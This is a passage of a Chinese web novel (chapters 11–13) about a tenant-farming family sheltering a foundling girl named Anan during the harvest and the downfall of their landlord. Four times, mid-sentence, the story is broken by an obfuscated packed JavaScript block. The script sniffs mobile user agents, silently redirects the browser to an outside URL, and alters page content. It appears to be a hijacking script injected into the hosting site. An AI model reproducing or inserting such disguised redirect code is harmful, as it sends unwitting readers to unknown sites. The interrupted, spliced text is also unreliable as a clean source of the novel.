张有喜心里一松,忙说道:“爹,这事能缓,可眼下急啊,我担心回头他们就来把孩子抱走了……” “那也不能把大郎推出去。”张春山道,“大郎是你的长子,也是咱老张家的大孙子,照你那法子,传出去叫人说他任性莽撞,说他忤逆长辈没规矩,你可怎么办,他还要不要说亲了。” 说到这里张春山又数落道:“老三,你是你屋里一家之主,万事心里得有个章程。”——别什么都听你屋里妇人的,后半句张春山默默咽了回去,有些话婆婆能说,他这当公公的说出来就不好听了。 张有喜讪讪住了嘴,再回去跟宋氏说。 一个院里住着,实则也就几步路,光看他那脸色宋氏都猜出个大概了。想想也是,这事情,公婆很难答应的。 “这几日别给安安出门。”张有喜听了他爹的话,左思右想决定自己拿个章程,“就说小孩子染了风寒,这秋冬时节的病了,哪儿也不许去。” 装病显然不是个根本法子,可眼下又没有旁的主张,也只能先这么试试了。于是宋氏转身就去隔壁嘱咐几个孩子。 如此熬了两日,事情却忽然峰回路转,那梁管事不知为何,突然就更改了行程,急匆匆带着他的人离开梁庄,回京去了。 这一来弄得魏庄头措手不及,又不敢多问,又不敢多说,梁管事临走时提都没提孩子的事情,魏庄头对张家这边也只能含糊着,再没提起。 整个村里几乎都是梁庄的佃户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004254|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对这事自然关注,旁人看来,想必是那梁管事有急事回京,便把收养孩子的事情丢到一边。为此竟还有不少人为之惋惜,觉得孩子错失了如此好的一个富贵机会。 张家人听到消息偷偷松了口气。庆幸之余,其实也容不得多想,又开始忙着收割秫秫。 收秫秫是个细活,秫秫全身都是宝,哪哪都有用。秫秫穗子先截下来,秫米打下来吃,剩下的穗苗子留着扎笤帚,穗头下边那一段长杆的葶子用来串盖帘、箍笊篱,剩下的秸秆是铺床板、扎篱笆的极佳材料,就连底下的根都要刨出来,这粗壮的根留在地里不好耕地,刨出来晒干烧火却比得上木柴。 所以秫秫家家种,种的不多,却很费工夫。 梁管事一走,安安刚酝酿了两日的“风寒”也就好了,又跟着七月上场当场倌儿,一边看场,一边挑选秫秸葶子,七月教她怎么挑,将一整把葶子竖在地上一头齐,然后把长的短的、粗的细的都分开挑到一起,齐整地摆成一排晒干。 七月认真教她干活,可安安却当成十分好玩的事情,每每玩得不亦乐乎,干活可比她以前那些玩具好玩多了。 安安喜欢这里,虽然没有肉吃,没有牛奶喝,可是有很多好玩的事情,不管是摘豆荚,理麻线,还是看场、堆草、捡豆子,都让她觉得有趣极了,伯伯和姨母都喜欢她,尤其还有她喜欢的哥哥姐姐们跟她玩。 她好像已经不怎么想家了,反正,想也没用。 分好了葶子,小两个就坐在场边的泥土窝里玩斗草,那泥土被太阳晒得带着草木香,一股阳光的味道。宋氏来时,俩小孩坐在太阳下正玩得高兴。 宋氏无奈嗔道:“怎么又光着头在这儿晒,叫你们晒成黑泥鳅。去把斗笠戴上。” 于是安安跑去拿斗笠戴上。人小,头上戴个大大的斗笠,活像一只大蘑菇。安安爱漂亮,怕晒黑,可七月早就晒得黑溜溜了,笑嘻嘻不肯戴。 “娘,今天你来给我们送饭?” “今天你们回家吃去。”宋氏笑道,她来换小孩吃饭,正好把场翻晒一遍。 往常七月和安安看场,可都是家里送饭来吃,省事,家里谁顺道给她们带个饼子馒头、带一葫芦水就行了,不用换人看场,大人也好赶紧去干活。于是七月问:“娘,今天怎么叫我们回家吃?” “今儿中秋节。”宋氏笑道,“七月,你领妹妹回家吃饭去吧,大伯娘炖了兔子肉,可香了,兔腿给你们留着呢。” 七月的关注点立刻放在了后半句,忙问道:“哪来的兔子,大哥上山打猎了?” “秫秫地里捉的,割到最后一小块突然窜出来,被你大哥一镰刀砸到了。” “好嘞,回家吃兔子肉喽!”七月兴奋地跳起来,拉着安安就往家跑。 农家的中秋不当节过,因为正好秋收大忙的时候,干活要紧,一只意外捉到的野兔便成了这个节日的意外之喜。深秋的野兔又大又肥,安安来了这么久除了吃过两回雀肉,这还是第一次真正吃肉。 干掉半条香喷喷的兔腿,美美解了一回馋。 中秋节过去四五日,正准备开镰割水稻呢,一队官兵忽然围了梁庄,贴出告示,各种罪名乡下人不太懂,就弄懂了一个事,梁相公,倒了。 京城那个梁相公被罢官,抄家下大狱了。 众皆哗然,这么大的人物说倒就倒了,梁庄,这是又要换主人了? 11. 第 11 章 官兵查抄梁庄的时候,张有喜亲眼所见。彼时张家人刚把秫秫和几样小杂粮拾掇完,打起精神开始割水稻。田里的水稻成熟了,风吹来一股稻香。 沂州地界原本不产稻米,几十年前江淮大旱,举国灾荒,朝廷推广一种南方来的水稻,征民夫挖沟渠,耗费不少工夫,才沿着山下的白马河在当地开辟出部分水田。 稻米金贵,而沂州地处北方,生长期长,水土好,出产的稻米软糯回甘,米香四溢,素来是直接卖去京城的好物,沂川香米远近驰名,因此水田的出息也远高于旱田庄稼。 所以这水田素来是庄子里重视的,一向是田庄自种,只有庄仆人手不够了,才肯拿头弄劲地分一部分给佃户,就连魏庄头当日要给张春山威逼利诱做甜头,也是说要给他多几亩水田。 张家今年得了三亩水田,精心伺弄,金灿灿的稻穗压弯了腰,眼看着丰收在即,叫人心情都跟着好了。 大场上暂时没有要看的东西,两个小场倌儿便被带到稻田,给个小篮叫她们捡稻穗。 刚开镰呢,大人弯腰埋头“唰唰唰”割稻子,七月便领着安安在田头嬉闹玩耍,因此竟是两个小孩最先发现官兵。出于小孩子本能地畏惧,七月拉着安安就往田里跑。 “爹,爹,有官兵,官兵来了。” 张有喜直起腰一看,果然一队官兵沿着水渠大堰经过,前头几个骑马的,后边扛长矛的跟着跑,竟是气势汹汹往庄子里去了。 官兵来干什么,谁犯事儿了?张有喜按捺不住一颗好奇八卦之心,目光追随着官兵队伍经过,索性把镰刀一放,跟张春山道:“爹,我过去看看。” 张有喜扭头吩咐好大儿:“大郎,看好弟弟妹妹,我去看看发生了什么事。”一溜小跑走了。 大郎看着他爹走远,扭头接到张金哥递来的眼色,便立刻向张春山央求道:“爷爷,我也想去看看。” 张春山嗯了一声,大郎有样学样地嘱咐腊月:“腊月,看好两个小的。” 腊月:“……” 望着大郎和张金哥一起跑远,张银哥也想跟去,被吴氏眼睛一瞪叫住了,那官兵可凶,小孩子还是离远点。可是张银哥他爹却撑不住了,乡村里一年到头难得有个热闹看,于是张有福扔下镰刀也跟着跑了,剩下张有田无奈地直摇头。 宋氏不禁好笑,指着收割完的稻田里叫小两个:“七月,安安,你们来看看,这底下有泥鳅。” 七月眼睛一亮,立刻找铲子跑去挖泥鳅,安安提着小篮屁颠屁颠跟上。稻田表面一层干了,挖开底下果然是湿泥。 忙活了好一会儿,俩小孩弄得两手两脚泥,也没挖到一条泥鳅,最终张春山看不下去了,扛着铁锹去挖田边已经干涸的灌溉渠,给她们捉了几条。 四条泥鳅,可惜安安还数不清楚。七月还好,安安第一次见这样扭来扭去的肥泥鳅,兴奋得小脸发红。 “爷爷,你真棒!一下子就捉到了。”安安给张春山比了个大拇哥。 “爷爷,安安夸你厉害呢。”七月在旁边给翻译,“她夸人厉害就说你真棒。” 逗得张春山直乐。 一走半个多时辰,看热闹的几人才终于回来了,一个个七嘴八舌地跟他们说庄子里的事。 梁相公被罢官问罪了,御史台参了他那么长一串的罪名,头一条就是大不恭。其中还包括侵占田产、纵奴伤人…… 梁庄已经被查抄,魏庄头和几个管事头头都被官兵押了起来,这个时候反倒是普通庄仆好一些。这时间庄仆都分散在田里干活,官兵们正在四处把庄仆们往庄子里赶,官兵把所有庄仆按名册核查,并集中到一处,只规定不得离开庄子,倒是没把他们怎样。 尽管如此,庄仆们还是惊吓不小,男女老幼被看管一处,惶惶然十分可怜的样子。 看着魏庄头被押,张有喜并没有觉得畅快,反倒有些唏嘘。毕竟一个熟悉的人,忽然就被抓了,也不知他会怎样。 “应当不会怎样的,坏事是他主家又不是他做的,他们有身契,只要他不曾作恶害人,顶多再被发卖一遍罢了。”张春山道。毕竟庄仆跟那庄子里的田产牲畜一样,也是家产,有身价的。 这一幕张春山不是头一次见了,几十年前郭庄可比现在的梁庄大,郭氏家族倒台,庄仆们跟着庄子一起被卖,主人换了,许多庄仆依旧还在。 后来郭庄分成了三个庄子,其中一个就是现在的梁庄。 流水的主家,铁打的佃户。你方唱罢我登场,当年郭氏家族倒台的时候,动静可比现在大。 儿孙们围着听张春山说古,张有喜摇头道:“我没见过,只听说过,我以前还纳闷咱村为啥叫郭家村呢,一个姓郭的都没有。” “你哪里会见过,”张春山嫌弃道,“你娘那时候都还没过门呢!” 众人哄笑,张有喜自己也忍不住笑了。耿氏挑着担子来送饭的时候,看到的便是这么一副快活的画面。 “爹,”耿氏先向张春山问候,放下挑子道,“你们没事吧,我还担心呢,来时听说庄子出事了。” “没事没事,有咱们什么事,吃饭吃饭。” 大家纷纷去田头渠里洗手吃饭,七月刚才捡了会儿稻穗,自顾自跑去洗手了,安安却还扒着篮子在玩她那几条泥鳅,被大郎一脸嫌弃地抓着后衣襟一手拎起来,连人带篮子拎去渠边洗刷。 “别玩了,看你弄这一手脏。”大郎道,“这泥鳅怎么办,我给你生个火堆烧了吃?” 生个火堆,拿蓖麻叶包上,烧熟了那叫一个香……可安安却坚定地抓着小篮子:“不要,不烧吃,留着养。” “哪有人养泥鳅的!”大郎继续嫌弃,一边说,一边把她两只小手洗干净,把篮子也放进水里涮涮,好歹叫篮子和泥鳅们别那么多脏黑的泥。 再皱眉看看她麻鞋上两脚的淤泥,大郎索性把她鞋也脱下来,用稻草刷掉鞋底帮的泥,一手孩子、一手鞋子地拎回来,从头到尾安安愣是没舍得放开手里装泥鳅的小篮子。 回来把鞋子放稻草上晾着,让安安把小脚丫也放在稻草上,一家人坐在田头吃午饭。天气凉了,耿氏用砂锅送来了热乎乎的黍米汤,豆酱夹馒头,笼屉布包着的杂面馒头也还温热。一边吃饭,一边继续谈论梁庄的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004255|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田庄必定是又要换主人了,也不知这回换个什么人。 “不管换个什么人,天下乌鸦一般黑,反正人家是主家。”张春山道,“咱们这样的佃户,该怎种地还怎种地,原也不关咱们多少事。” 张有田看着安安庆幸道:“幸亏没把安安给他,你说要是给了他,那这回……” 一阵后怕。 张有喜用力点头,一边轻飘飘睇了宋氏一眼,眼神里不无得意。还是他家娘子有主见,张有喜心说,大哥二哥总笑他“内当家”,可他娘子家当得好,话说得对,他为啥不听?明明是他娘子有见识,贤内助,比他大嫂二嫂强多了。 大哥二哥不羡慕他就罢了,凭什么取笑他? 宋氏低头对上安安黑白分明的大眼睛,那眼睛水润清澈,似乎什么都懂。宋氏安抚地笑道:“咱们安安是好孩子,自有老天爷庇佑。” “嗯,是个有福的丫头。”张春山笑呵呵道。 人的命天注定,张春山想,这丫头命不该绝,扔到深山都能好好的,这回的事情也是。不过老三家说得对啊,奴籍可不是人干的,再穷再苦,管怎么也得保有自由身。 转脸张春山又开始发愁,你看这一望无际的金黄稻田,急等着收割呢,梁庄这一出事,庄仆们乱作一团,都被看管在庄子里,官府只负责抄家,这满地的稻子可怎么办? 佃户们战战兢兢一辈子,即使这个关头也只敢管好自己田里,不曾想去庄仆的田里多割一刀。可庄户人看着满地庄稼着急啊。 好在官府还算理事,混乱了两日之后,庄仆们便被放出来割稻子了,大队官兵回城了,留下一部分看守田庄,有官兵拿着长矛在田头走动巡视,监督庄仆们干活。而魏庄头和几个平常管事的小头目却依旧被关押着。 期间知州大人还亲自坐着官轿来了一趟,不过那官轿被差役们簇拥着不得靠近,有人远远看到那知州大人是个长胡子老头儿,看着也上年纪了。 围观的佃户们私下议论,赶巧这秋收大忙的关头,佃租可还没交呢,也不知那知州大人能捞到多少好处。 不过这一点可冤枉那位何知州了,他哪里敢啊。 莫说奉旨查办,便是有好处,他这回也不敢了。何知州跟京中梁相公私下那点交情瞒不了人,只要有人查就很难不知道,而梁相公这回为什么倒了? 表面上罪名一长串,可朝野皆知,当今官家素来宽仁,一向待臣子亲厚,像“大不恭”这样的罪名可大可小,还不都在官家一念之间。 何知州惶恐。官家年事已高,入秋又传出抱病,而太子年仅七岁……舐犊之情,人皆有之,即便是素来宽仁的官家,护起犊子来也毫不手软。不光不会手软,面对虎视眈眈的宗室,这个当了一辈子皇帝的父亲只会更加狠厉决绝。 梁相公大约还只是个开始,官家这是怕身后留下孤儿寡母,要给年幼的太子清扫路障了。 梁相公求田问舍给自己留退路,曾经想着告老荣退,而现在,何知州也在心里拜求诸天神佛,老天保佑,保佑他安安稳稳致仕吧,一把年纪了,只要这次囫囵过了这一关,他就上书乞骸骨。 12. 第 12 章 安安那几条泥鳅养着玩了两日,终究还是被宋氏包上蓖麻叶,放在灶膛里烧了,肥泥鳅只有中间一根刺,香得很。 一条泥鳅吃馋了嘴,安安心里惦记着,下回下田还要捉泥鳅。 日暮下炊烟四起,安安蹲在厨房门口啃着香喷喷的烧泥鳅,听见有人敲门。 伯伯他们回来了?大伯娘和二伯娘在厨房做饭,姨母在喂猪,七月姐姐也在帮忙喂鸡铲鸡屎……大家都在忙呢,于是安安站起来,啪嗒啪嗒跑去开门。 可门一打开安安就后悔了,不是伯伯和哥哥他们,是那个里正,她见过的。 安安立刻又把门关回去,只留下一条缝,小小的身子堵着门缝,只露出一双大眼睛,仰着头无声地看着里正。天光不是很亮,那圆溜溜的黑眼珠便显得越发明亮。 “咦,是你呀……”里正低头看看门缝里的小人儿,问道,“家里大人呢?” 安安扭头看了一眼,摇摇头。 “大人都不在家?” 安安看着他不作声。 “这小孩,怎么跟小哑巴似的,”里正嘴里嘀咕,冲着门缝扬声问道,“家里有人吗?” “安安,谁来了?”宋氏走了出来,安安扭头看看宋氏,等她走到跟前,才松开手躲到宋氏身后。 “是里正叔啊,”宋氏堆笑打开门,忙把里正往里请,口中问道,“里正叔大忙人,今日来可是有什么事情?” “正经公干。”里正立在门口道,“太忙了就不进去了,我今日就是来传达官府文告,梁庄的事情你们都知道了,梁相公已经被下狱,如今官府发了告示,谁家被他欺凌、侵占田庄的,或者其他与之相关的冤情,都可以往官府投告。” “知道了,多谢里正叔。”宋氏笑道,“里正叔进来喝口茶再走?” 里正却又不走了,站在门口问道:“你家可有什么要投告的?日前这孩子的事情……” “里正叔说笑了,”宋氏道,“这孩子运气好,又没有什么事情。我们这等小民,也只是佃了人家几亩田地,没有什么冤情要投告的。” “嗯,这话说的是,”里正笑道,“原本也没有什么事情。” 瞧着里正的背影走远,宋氏撇着嘴嘲讽笑道:“这是心虚了?” 安安抱着宋氏的腿躲在她身后,探着脑袋瞧着那里正走远了,才稍稍放下心来。宋氏刚才正在喂猪,手上不干净,低头瞧见小孩那样,憋笑动动腿叫她:“行了,走了,回去喽。” 安安这才松开手,一手扔抓着宋氏的裤腿跟着回去,走到厨房门口宋氏倒水洗手,安安就屁颠屁颠跟在她旁边,扬着小脸喊:“姨母!” “诶,”宋氏答应着,“怎么了,泥鳅吃完了没?” “吃完了。”安安指着碟里剩下的两根黑乎乎的泥鳅,“那个是留给大哥二哥的。” 七月姐姐刚才吃一条了,腊月姐姐说她不吃,太奶奶也不吃,太奶奶年纪大了不吃这样的腥东西。 宋氏闻言不禁笑起来,洗完手擦干净,顺手撸了把她的小脑袋,笑道:“你大哥可真没白疼你,吃个蚂蚱都得给他留条腿儿,不过你别留了,他们长大了,不吃这个。” 两条烧泥鳅,留给谁呀,宋氏心说,家里一堆大大小小的孩子呢,留了也没法分,反倒不好。 七月对家里这些吃食分配原则已经习惯了,当下便跑过去拿了一条,四条泥鳅,她吃两条,安安两条。七月拿起来香喷喷咬了一口,叫安安:“快吃,冷了就腥了不好吃了。” 安安看见泥鳅馋得慌,却没急着去拿,里正一来小孩子有心事了。 安安扬起脸,黑眼睛望着宋氏大声说道:“姨母,等我长大了挣钱,挣很多很多钱,给你买大房子,买小汽车。” ——所以你别把我送走行吗。 “嗯?”宋氏一下子却并没能领会过来,她正忙呢,一堆家务活。天气一凉老奶奶身子就不甚好,这几日干脆卧床病了,婆婆余氏专工伺候老奶奶,家务活耿氏一个人可做不过来。宋氏顺手在小孩脑袋上又撸了一把,笑道,“行,等你长大挣钱给我买大房子……小汽车是什么?” “对呀,什么小汽车?”七月的关注点也妥妥跑偏了,追问道,“你怎么不买大马车?” “小汽车……就是小汽车啊,”安安困惑,想了想努力解释,“小汽车比大马车好,小汽车跑得快,还不用吃草。” “胡说八道。”七月笑道,“不用吃草,那你那车用什么拉,用牛?牛也得吃草啊。” “不用拉,”安安说,“不用牛,也不用小毛驴,要一个人开车,一开就自己跑了。” “胡说,哪有自己跑的车,它又没长腿。” “真的有,”安安说,“我以前的地方就有。” “又胡说,你上回还说有一个不用烧油、一摁就亮的灯呢。”七月吃完泥鳅,拍着手笑道,“娘,安安惯会胡说八道。” 安安嘟着嘴委屈了一下,明明就是有嘛,好孩子不撒谎。 “姨母,真的有,安安见过的,安安没撒谎……” “好好好,有有有,”宋氏刚拿起铁锹要去打扫猪圈,对于抱着她腿委屈的小孩颇有些无奈,随口给她顺毛,“有的有的,安安没撒谎……七月,你别老逗她,小孩子就这样,你小时候也惯会胡说八道呢。” 七月脸上的表情有点垮了,抗议道:“啊,我哪有?” “你小时候一样胡说八道,小孩子都会胡说八道。”腊月拎着尿罐子从太奶奶屋里出来,笑着接了一句,“七月,你小时候还说你吃过月亮呢,你说月亮脆脆的可好吃了,你还做梦你长翅膀飞上天了,醒来就闹着非得跟娘要你的翅膀。” 七月:“……” 安安:“哈哈哈哈……” 行吧,七月懊恼地做了个鬼脸,指着碟子叫安安:“别笑了,快去把泥鳅吃掉!” 于是安安乖乖跑去吃泥鳅。 宋氏、吴氏带着女孩子们先回来的,男劳力们则还要把白天割下的稻谷打捆挑到场上,晚一点张有喜回来,宋氏才跟他说起里正来过的事情。 里正那用意倒也不难懂,此前受了魏庄头的托,跑来说了那些子话,如今梁相公倒了,魏庄头也跟着倒霉了,里正便又跑来找补。这个一贯喜欢叫人说他好话的里正会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004256|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做人,没的再多得罪一头。 还特意提到什么投告不投告的,宋氏琢磨了一晚上,里正这是怕多生枝节? 宋氏虽然不识字、不懂什么《宋刑统》,可慢慢也琢磨出来点什么了,既然大宋律法对拐卖童子的刑罚那么重,知情买家、经手牙人都要判罪,那便不该任由一个捡来的孩子被个奴籍的人收养,从而变成奴籍。 也就是说,律法可能不允许梁管事收养安安,想来那梁管事若收养安安,必然要有什么背地里的手脚才行。这些事她一个农妇不懂,里正也不懂? 张有喜听宋氏这么一说,也觉得有道理,不过他马上就把这事丢开了,他家又不能真去官府告里正,原本也就是个传话的。 “不管他了,反正孩子也没事。”张有喜道,“跟你说个好事情,田庄如今乱哄哄的没人管,今年那水稻,让咱们自己打了。” “真的?”宋氏果然高兴起来。 稻米金贵,以前田庄为了怕佃户们私留,稻谷都是田庄安排人手一起打的,佃户只负责割,老把式的庄仆扛着掼桶到田头,一边收割一边打,打完了稻谷挑走,稻草便铺在田里晾晒。这样不光避免了佃户们私留,还能更好地保证稻米的品质。 虽然佃户们跟田庄按约分成,可是却并非简单的直接分,比如像小麦这样的细粮佃户哪里舍得吃,一贯是折价抵给田庄换粗粮,自家少留一点就罢了,而稻谷则是直接抵给田庄,因此像张家种了这么多年的水稻,种出了远近驰名的沂川香米,自家却愣是没正经吃过。 往年只有妇人们偷偷在衣裳里藏的一把稻穗,避着人回家偷偷晒了,舂出米来给家里煮个米汤尝尝。 今年田庄一出事,什么事情都没人管了,张家昨日割了稻子也不好放在田里,便先送到大场上了。佃户们都在观望,庄仆们更不管,今日有人壮着胆子去问看守的官兵稻谷怎么打,结果那官兵头头说,你们自己种的稻子,爷管你们怎么打! 既然官爷都这样说了,佃户们喜出望外,赶紧的回家准备打稻子去。 “吃了饭上场打谷去。”张有喜笑道,“今年不管怎么也给孩子们浓浓的熬两顿米粥吃。” “对!米粥滋补软和,正好老奶奶这阵子身子不好,她也能吃。”宋氏便打算着,明日她就先上场打两碗新米下来,好给老奶奶熬汤补养。 说着宋氏又提起安安,“你可不知道,安安今天跟我说她长大要挣钱,挣很多很多钱,挣钱给我买大房子,还要给我买车。” “这小孩儿!”张有喜听宋氏绘声绘色学的那样子,不禁也咧着嘴直乐。啧,都会哄大人开心啦,不管将来能得她什么济,苦点累点也值了。 宋氏下巴冲着堂屋示意了一下:“你什么时候跟爹娘说啊?我可先跟你说,谁要再说把这孩子给人,我反正不答应。” “急什么,”张有喜小声笑道,“这事你听我的,不着急。我爹那人,他有多疼孩子你还不知道吗,他无非是怕大哥二哥那边有意见,小孩反正就在咱家了,他是能狠心撵走还是能怎么的。” “日子一长,都不用你说,他自己就舍不得了。”张有喜笃定道。 13.第 13 章 打谷是一场硬仗,这是个苦力活。 吃过晚饭,一家人便收拾准备打谷。昨日割下的稻子已经搁一天了,白天还要割,连夜打下来才好及时晾晒,不耽误活计。 打谷要用掼桶,这种不常用的大农具都是田庄的,如今佃户们谁家也没有掼桶。正因为没有专门的掼桶,一家一户人手也不足,没有条件在田间打谷,张春山才选择把稻谷先送到场上去。 掼桶这点事难不倒老庄户,张春山吩咐儿子们去把厢房的门板卸下来,张有喜和张有福二话没说,便去把自己屋里的两扇木板门拆了下来。 “爹,把孩子们都叫上?”张有喜问。 “大郎、金哥跟着,其他的都别去了。”张春山道。 张有福忙说:“爹,大姐儿一起去吧,她都大了,眼看着要出嫁,好好学学活儿。” 他这么一说,张有田、张有喜便说把腊月和小鼠也带上吧,几个太小的就算了。 “小女孩子身轻力薄的,这活儿她们干不了,都别去了。”张春山道,“大姐儿也别去了,她婆家村子又不种稻。” 大姐儿还能在娘家呆几年啊,顶多再享两年娘家的福。吴氏心生感激,忙嘱咐大姐儿夜间预备热水、明日早早做早饭,耿氏和宋氏便也嘱咐自家女儿一起帮忙。 天上一弯下玄月,老张家打谷的队伍出了门。 大场上清扫干净,四扇门板竖起来往一块一靠,再用锄头、木棍交叉支撑,弄牢靠了,便做成了一个简易的掼桶。这样的掼桶没有底板,所以只能在大场上用。 将一把稻子高高举过头顶,再重重砸下,没有一把子力气是打不下稻谷的,不光要力气,还得有技巧,掌握好节奏。张有喜三兄弟一人占了一边门板打谷,很快便响起了此起彼伏的啪啪声。 剩下一个位置,张春山刚拿起一把稻子,便被大郎抢过去了。 “爷爷,我来,你去捆草。” 张金哥也说:“爷爷,我跟大郎学着干,您可别闪着腰。” 张春山退到旁边笑了,瞧,孙子们嫌他老了。 大郎和张金哥技巧掌握的不行,打谷打不好,干活还闲不住嘴皮子,一边打谷一边斗嘴磨牙,张春山就在旁边指点。 不过没多会儿,二叔张春岭就带着堂弟张有良来帮忙了,张有良立刻接手了打谷的活,把大郎和张金哥两个拖后腿的赶去搬运稻子。 宋氏妯娌三个捆草转运也够手了,张春山和张春岭老兄弟俩便统筹指挥,归整拾掇。 所以庄户人喜欢大家大口过日子,村里那些孤门小户的人家,打场都不够手。 一夜忙碌,东方鱼肚白时打谷队才从场上归来,灶上已经备好了热粥和温水,洗刷一下喝碗粥,赶紧回屋睡个囫囵觉。 安安可不知道这些,一夜睡得香甜。早晨醒来天光大亮,太阳光温暖地照进西厢房里,安安爬起来自己穿好衣服就跑去洗脸。 家里静悄悄的,七月坐在门口捏着针缝沙包,屋里余氏也坐在太奶奶床边做针线,补觉的大人们已经又下田去了,二郎也跟去了,今天放羊轮到张银哥。 吃过早饭,七月再给她梳两个小丫揪,两个小场倌儿重新上任。 两小孩到了大场上,昨晚打下的稻谷已经摊开晾晒了,稻草把子一排排铺了满场。大郎和张金哥夜间留下看场,这会儿就躺在稻草堆里,拿衣裳盖着头脸睡得四仰八叉。 “你俩懒虫怎么才来,我们都快饿死了。”大郎爬起来打着哈欠,嘱咐道,“把场看好了,我们回去吃口饭。” 两个少年吃了饭回来,拿连枷把昨晚打过的稻草把子再笼统打一遍,确保稻谷都打干净了,一趟趟把稻草运去大场边的空茬地里铺开晾晒。他俩干活,七月和安安也跟着帮忙,安安小小的人儿抱着一捆稻草,人还没有稻草高,抱不动就吭哧吭哧放地上拖,忙得一脑门汗。 大郎瞧着安安直叹气:“唉,净捣乱碍事儿,越不能干越勤快,长大就该变懒了。” 不信你看,旁边七月干活就没那么积极了。 白天割稻,夜里打谷,一连忙了几日才把稻子收完。累是真累,丰收的喜悦却让人忘记了疲劳。 宋氏把两碗稻谷倒进石臼,狠着心舂了两遍,舂成白米,当晚一家人便尝到了清香四溢的白米粥。 新米的味道真是太香了! 这也是这段日子以来安安吃得最舒服的一顿饭,白米粥熬得浓稠油润,汤色青碧,水米不分,喝一口整个人都浸在米香里了。一碗粥下肚,安安满足地摸着小肚子,头一回发现白米粥竟然这么好吃。 比她记忆中的红烧肉、大鸡腿、甜甜圈……还好吃! 饭后宋氏妯娌几个各自去忙,腊月和张小鼠收拾洗碗,大门一响,里正又来了。 “你家的稻子都打完了?有个事情跟你们说。” 里正一来,憨态可掬坐在小板凳上的安安便立刻坐直了身子。张有喜还坐在桌边,见里正进来忙起身迎接,宋氏没在屋里,安安便一声不吭地跑去藏在了张有喜身后。 可偏偏里正一进门就看向了她。 “关于这孩子的——”里正指着安安道,“早前你不是托我给这孩子寻个人家收养吗。” “啊,这事啊……里正您快坐。”张春山含糊一句,扭头吩咐孙子,“二郎,快去给你里正爷爷倒茶。” 里正坐下来安心地喝了口茶,放下碗笑道:“受人之托,忠人之事,为这事我把方圆村镇认识的里正都拜托了一遍,一直愁着没回音呢,可巧昨日就有了,这家是二十里外罗庄村的,是个独居的寡妇,早年丈夫死了,一个独子养到多大又没养住,给她留下了房屋和家产,日子反正是够吃够用了,如今特意想收养个女孩儿作伴……” 他一边说,张春山一边锁着眉头往张有喜那边看——看他身后的小孩子。小孩这会儿躲在张有喜身后,张有喜坐着小板凳,弓着背,从张春山这个角度看过去,小人儿正把额头抵在张有喜后背上装鸵鸟,莫名叫人心里一软。 里正还在滔滔不绝地说嘴,夸那家是多么好的人家,那寡妇为人也和善,他一句一句说,张有喜一张脸早就撑不住了。 明明他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007035|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排好的妙计,张有喜心里埋怨,这个里正,这个时候跑来捣什么乱! 可这话他显然不能说出来,里正手里掌管着全村的徭役赋税呢。 张有福在旁边听得面露微笑,真心觉得这回这个不错,家有恒产,温饱不愁,只一个上了年纪的寡妇,没了儿子,往后家产尽可以给她置办嫁妆,没有旁人来争…… 张有福眼角瞥见老三脸色不对,默默把到嘴边的恭维话咽了下去。他一个老二,孩子又不是他捡的,这家里怎么也轮不到他跳出来说话。 “爹……”张有喜紧张地看着他爹,嚅嚅道,“爹,您说过这事咱再商量的……” “还商量啥?”里正道,“我跟你们说,这回这家可真心不错,原就是个捡来的孩子,你家都养了这一两个月,就算积德行善了,你们要是答应,明日我就叫他家来抱了。” 张有喜一着急,腾地站了起来,结果他忽然一站,他背后的安安被带得一个趔趄,一屁股坐在地上。张有喜这才扭头看见,连忙先把孩子拽起来。 “哇……我舍不得小妹妹,妹妹是我家的,不能给人……” 突然一声憋足了劲的嚎哭,瞬间引得一屋子人转头,只见七月闭着眼、张大嘴,仰着小脸,拉着架子就准备大闹一场了。 安安被她这冷不丁一哭吓了一跳,傻愣愣看着七月。 张有喜无语地瞅了一眼小女儿,上回有经验了啊这是。他头疼扶额,顿了顿还是先把安安拉了起来,顺手给她拍掉身上的灰。 “别嚎!”张有喜扭头一声断喝。 